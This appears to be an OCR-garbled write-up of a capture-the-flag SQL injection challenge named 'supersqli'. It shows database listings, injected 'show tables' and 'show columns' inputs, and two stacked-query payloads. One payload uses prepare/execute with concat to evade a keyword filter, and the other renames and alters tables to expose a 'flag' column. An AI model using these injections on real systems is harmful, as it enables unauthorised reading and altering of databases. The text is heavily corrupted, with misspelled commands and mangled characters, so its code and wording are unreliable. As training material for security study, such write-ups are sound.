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error 1064 : ¥ou have an error in wour SQL syntax: check the manual that corresponds to wour MariaDB server version for the right symtax to uze near "7 1777 at line 1
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array (1) |
[0]=>
string(11) “ctftraining”

1

array(1) {
[0]=>
string (18) “information_schema”

1

array(l) 1

[0]==

string (B) “mysql”
I

array(1) {
[0]=3
string (18) “performance_szchema”

1

arrayil) 1
[0]==
string (9) “supersqli”
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array (1) |

[a]=>

string (4] "test”
h

BTEF 22" ;show tables#
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array(l) |

[0]=>

string (16) "1919810931114514"
I

arrayil) {
[01=>
ztring () “words”

}
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22’:show columns from words;#

22’;show columns from 1919810931114514 #



T |22':5h0'.'.' columns from '1915” 123r |

array (6) 1|
[01=>
ztring(4) “flag” h__‘
[11=>
string (12) “warchar (100}
[2]=>
ztring (2} “NO”
[31=>
string (01 "
[41=>
NULL
[51=>
string (01 "
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MySQL ‘B 5% prepare. execute. deallocate %ifkA PREPARE STATEMENT. #H¥:that > IFRE AN B IESR .
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payload:

22';Set @b=concat("sele","ct ","* from ~1919810931114514  ");prepare dump from @b;execute dump;#

¥
1. Bwords R L Awordl R EERLF rename table words to new_word;

2.1919810931114514 % Awords : rename table 1919810931114514 to new_19198;

3. K H word®iHEAN—5), ¥4 ~id : alter table new_19198 add id int unsigned not Null auto_increment primary key;

4. K flaghltiss Ndata : alert table new_ 19198 change flag data varchar(100);

payload:

1’ ;rename table words to new_word;rename table 1919810931114514 to new_19198;alter table new_19198 add id int un

signed not Null auto_increment primary key; alert table new_19198 change flag data varchar(100);#
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